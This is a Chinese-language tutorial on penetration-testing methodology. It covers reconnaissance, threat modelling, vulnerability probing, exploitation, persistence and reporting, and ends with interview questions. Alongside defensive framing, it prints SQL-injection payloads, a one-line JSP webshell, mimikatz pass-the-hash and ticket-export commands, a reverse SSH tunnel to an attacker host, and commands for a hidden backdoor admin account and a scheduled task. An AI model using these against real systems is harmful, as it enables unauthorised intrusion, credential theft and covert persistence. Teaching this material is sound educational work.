渗透测试方法论
「我宁愿被黑客攻击一次,也不愿在真正的攻击来临时毫无准备。」
这句话道出了渗透测试的核心价值:用可控的攻击,换取不可控攻击的免疫能力。
但渗透测试不是拿着工具乱扫一通,更不是「黑客入门教学」。它是一套科学的方法论,每一个阶段都有明确的目标和产出。
什么是渗透测试
渗透测试(Penetration Testing,简称 Pentest)是通过模拟黑客的攻击手法,对目标系统进行安全测试的过程。与漏洞扫描不同,渗透测试不仅发现漏洞,还要验证漏洞是否可以被利用,并尝试获取更高的权限。
渗透测试的三大特点:
- 授权性:必须在明确的授权范围内进行,否则就是违法行为
- 可控性:测试过程可随时终止,不会对目标系统造成永久性破坏
- 目的性:最终目标是提升安全性,而非展示攻击能力
渗透测试 vs 漏洞扫描:
| 对比维度 | 渗透测试 | 漏洞扫描 |
|---|---|---|
| 执行方式 | 人工 + 工具,深入分析 | 工具自动化,快速发现 |
| 发现深度 | 可发现业务逻辑漏洞、认证绕过等 | 主要发现技术层面漏洞 |
| 风险程度 | 可控,但可能影响业务 | 无风险扫描 |
| 报告价值 | 高,含攻击路径和利用证明 | 中,仅提供漏洞列表 |
渗透测试方法论
业界主流的渗透测试方法论有三个:
- PTES(Penetration Testing Execution Standard):最全面,涵盖 7 个阶段
- OWASP Testing Guide:专注 Web 应用安全
- NIST SP 800-115:美国国家标准与技术研究院发布,偏向合规
不管哪种方法论,核心流程都是相通的:信息收集 → 威胁建模 → 漏洞分析 → 漏洞利用 → 后渗透 → 报告输出
阶段一:信息收集
「知己知彼,百战不殆。」渗透测试的第一步,是收集一切可能有助于攻击的信息。
被动信息收集
不直接接触目标,通过公开渠道获取信息:
1. OSINT(开源情报)
// 信息收集的典型目标
public class OsintTargets {
// 域名信息
String domain = "example.com";
String subdomains[] = {"www", "mail", "blog", "api", "admin"};
// 技术栈指纹
String[] webServers = {"nginx", "apache", "iis"};
String[] cms = {"wordpress", "dedecms", "discuz"};
// 人员信息
String[] emails = {"admin@example.com", "tech@example.com"};
// 公开泄露的敏感信息
String[] leakedData = {
"GitHub 源码泄露",
"网盘文件泄露",
"社工库信息"
};
}常用工具:
| 工具 | 用途 |
|---|---|
| Whois | 域名注册信息查询 |
| Sublist3r | 子域名枚举 |
| Shodan | 互联网资产搜索引擎 |
| ZoomEye | 国内网络空间搜索引擎 |
| Censys | SSL 证书查询 |
| theHarvester | 邮箱收集 |
主动信息收集
直接与目标交互,需要注意频率,避免触发安全设备:
1. 端口扫描
# TCP 全连接扫描(最准确,但速度慢)
nmap -sT -p 1-10000 target.com
# SYN 扫描(速度快,需要 root 权限)
nmap -sS -p 1-10000 target.com
# UDP 扫描(速度慢)
nmap -sU target.com
# 服务版本检测
nmap -sV target.com
# 操作系统指纹识别
nmap -O target.com2. 指纹识别
识别目标使用的技术栈:
- Web 服务器类型(nginx、Apache、IIS)
- 编程语言(PHP、Java、Python、ASP.NET)
- 框架(Spring、Django、ThinkPHP)
- 中间件(Tomcat、JBoss、WebLogic)
- 数据库(MySQL、PostgreSQL、MongoDB)
# WhatWeb 指纹识别
whatweb -v target.com
# Wappalyzer 浏览器插件
# 在线版:https://www.wappalyzer.com/
# 自行开发指纹识别
curl -I http://target.com # 查看响应头阶段二:威胁建模
基于收集到的信息,分析可能的攻击路径。
绘制攻击面图
[外网入口点]
│
├─→ Web 应用(80/443)
│ ├─→ 管理后台(/admin)
│ ├─→ API 接口(/api/v1)
│ └─→ 文件上传(/upload)
│
├─→ 邮件服务(25/465/993)
│
├─→ VPN 服务(443)
│
└─→ DNS 服务(53)
│
└─→ 内网 DNS
└─→ 域控制器识别高价值目标
| 目标类型 | 优先级 | 原因 |
|---|---|---|
| 登录认证系统 | ⭐⭐⭐⭐⭐ | 入口点,获取凭证后可横向移动 |
| 数据库 | ⭐⭐⭐⭐⭐ | 数据资产核心 |
| 管理员后台 | ⭐⭐⭐⭐ | 高权限入口 |
| API 接口 | ⭐⭐⭐⭐ | 业务逻辑漏洞集中地 |
| 文件上传功能 | ⭐⭐⭐ | 可能实现 RCE |
阶段三:漏洞探测
针对识别出的攻击面,使用各种技术手段探测漏洞。
OWASP Top 10 是基础
OWASP Top 10 (2021)
├── A01:2021 - 访问控制失效
├── A02:2021 - 加密失败
├── A03:2021 - 注入
├── A04:2021 - 不安全设计
├── A05:2021 - 安全配置错误
├── A06:2021 - 易受攻击和过时的组件
├── A07:2021 - 身份识别和身份验证失败
├── A08:2021 - 软件和数据完整性失败
├── A09:2021 - 安全日志和监控失败
└── A10:2021 - 服务器端请求伪造(SSRF)漏洞探测技术
1. 漏洞扫描器
# AWVS(Acunetix)Web 漏洞扫描
# 付费软件,Web 安全扫描标杆
# Burp Suite Professional
# Web 渗透测试必备工具
# Scanner 模块可自动发现漏洞
# Nessus 漏洞扫描
# 系统层漏洞扫描
nessuscli scan --policy basic --target target.com2. 手工测试
// SQL 注入测试示例
public class SqlInjectionTest {
// 测试 payload
String[] payloads = {
"'", // 基础测试
"' OR '1'='1", // 恒真
"' OR 1=1--", // MySQL 注释
"admin'--", // 认证绕过
"1' AND SLEEP(5)--", // 时间盲注
};
// 测试参数
String[] testParams = {
"id", "page", "search",
"username", "password",
"email", "sort"
};
// 检测特征
String[] errorSignatures = {
"mysql_fetch",
"ORA-01756",
"Microsoft SQL Native Client error",
"PostgreSQL query failed"
};
}3. 业务逻辑漏洞
技术漏洞有工具可以发现,但业务逻辑漏洞必须靠人脑:
// 业务逻辑漏洞示例
public class BusinessLogicVulns {
// 1. 负值购买
// 攻击者构造金额为负数的订单,商品数量增加
void negativePurchase(int productId, BigDecimal amount) {
if (amount.compareTo(BigDecimal.ZERO) < 0) {
throw new IllegalArgumentException("金额不能为负");
}
// 漏洞:如果没有前端校验,攻击者可能绕过
}
// 2. 越权访问
// 用户 A 访问用户 B 的订单
Order getOrder(Long orderId) {
Order order = orderRepository.findById(orderId);
// 漏洞:没有校验 order.userId == currentUser.id
return order;
}
// 3. 竞争条件(Race Condition)
// 秒杀场景:两人同时抢购最后一个商品
void seckill(Long userId, Long productId) {
// 漏洞:如果不加分布式锁,可能超卖
if (product.getStock() > 0) {
product.setStock(product.getStock() - 1);
productRepository.save(product);
createOrder(userId, productId);
}
}
}阶段四:漏洞利用
发现漏洞后,验证其可利用性,并尝试获取更高权限。
获取 Shell
Webshell 上传:
// 恶意 Webshell 示例(仅供理解原理)
public class WebshellExample {
// JSP Webshell
String jspShell = "<%\n" +
"Runtime.getRuntime().exec(request.getParameter(\"cmd\"));\n" +
"%>";
// 冰蝎(Behinder)连接特征
// 流量经过 AES 加密,常规 WAF 难以检测
// 蚁剑(AntSword)连接特征
// 默认连接密码:PASS
// 流量有明显特征:base64 + 特定分隔符
}横向移动
获取初始立足点后,向内网扩展:
1. 凭证传递(Pass the Hash)
# Windows 环境中,直接使用 NTLM Hash 进行认证
# 无需明文密码
sekurlsa::pth /user:admin /rc4:NTLM_HASH /domain:target.local2. 哈希传递(Pass the Ticket)
# Kerberos 环境下,窃取 TGT 进行横向移动
# 需要管理员权限
mimikatz # sekurlsa::tickets /export
# 使用窃取的 TGT 访问其他服务
mimikatz # kerberos::ptt [ticket_file]3. 端口转发与隧道
# SSH 隧道建立
# 正向隧道:攻击机访问内网服务
ssh -L 8080:target内网:80 user@gateway
# 反向隧道:内网主机反向连接攻击机
ssh -R 8080:localhost:80 attacker@your_ip
# Metasploit 端口转发
meterpreter > portfwd add -l 3389 -p 3389 -r target_ip阶段五:权限维持
完成渗透后,需要建立持久化通道,防止失去访问权限。
常见持久化技术
| 技术 | 描述 | 检测难度 |
|---|---|---|
| 后门账号 | 创建隐藏的管理员账户 | 中 |
| 计划任务 | 定时执行恶意脚本 | 低 |
| 服务启动项 | 系统服务持久化 | 中 |
| Webshell | Web 层后门 | 中 |
| Rootkit | 内核级隐藏 | 高 |
| 黄金/白银票据 | Kerberos 票据伪造 | 高 |
// Windows 持久化示例
public class PersistenceExample {
// 创建隐藏用户
void createBackdoorUser() {
// net user hack$ StrongPass123 /add
// net localgroup administrators hack$ /add
// 通过用户名末尾加 $ 可以在 net user 时隐藏
}
// 注册表持久化
void registryPersistence() {
// HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
// 添加启动项
}
// 计划任务
void scheduledTask() {
// schtasks /create /tn "Update" /tr "恶意程序路径" /sc hourly
}
}阶段六:清理与报告
痕迹清理
渗透测试完成后,需要清理留下的痕迹:
- 删除上传的 webshell
- 恢复修改的配置文件
- 清除日志中的攻击痕迹
- 移除创建的测试账户
渗透测试报告
一份合格的渗透测试报告应该包含:
1. 执行摘要
项目名称:XXX 系统渗透测试报告
测试时间:2024-XX-XX
测试范围:外网 Web 应用 + 内网域环境
发现高危漏洞:3 个
发现中危漏洞:5 个
发现低危漏洞:8 个
整体风险评级:高2. 漏洞详情(每个漏洞)
漏洞名称:SQL 注入
漏洞位置:/product?id=1
漏洞等级:高危(CVSS 8.2)
漏洞描述:参数 id 未做过滤,可注入 SQL 语句
复现步骤:
1. 访问 /product?id=1'
2. 页面报错,暴露 SQL 语句结构
3. 使用 UNION 注入获取数据库版本
影响范围:所有使用该参数的功能点
修复建议:对参数进行严格过滤,使用参数化查询总结
渗透测试是一项系统性工作,需要技术知识、经验积累和安全意识的综合运用。
核心要点回顾:
- 信息收集决定渗透测试的深度,越全面的信息收集越容易发现漏洞
- 漏洞利用需要理解漏洞原理,不能只会用工具
- 横向移动是提升测试价值的关键,只拿下一台主机意义有限
- 权限维持展示攻击者的持久化能力,是真实攻击的常见特征
- 报告输出是测试成果的最终呈现,直接影响修复效果
渗透测试的最终目的不是「攻破」系统,而是通过「攻」的过程,让防御者知道哪里需要加固。
面试追问方向
- 渗透测试和红队演练有什么区别?
- 你如何绕过 WAF 进行 SQL 注入测试?
- 拿到 Webshell 后,你会如何进行权限提升?
- 内网渗透中,如何发现域控制器?
- 黄金票据和白银票据的区别是什么?
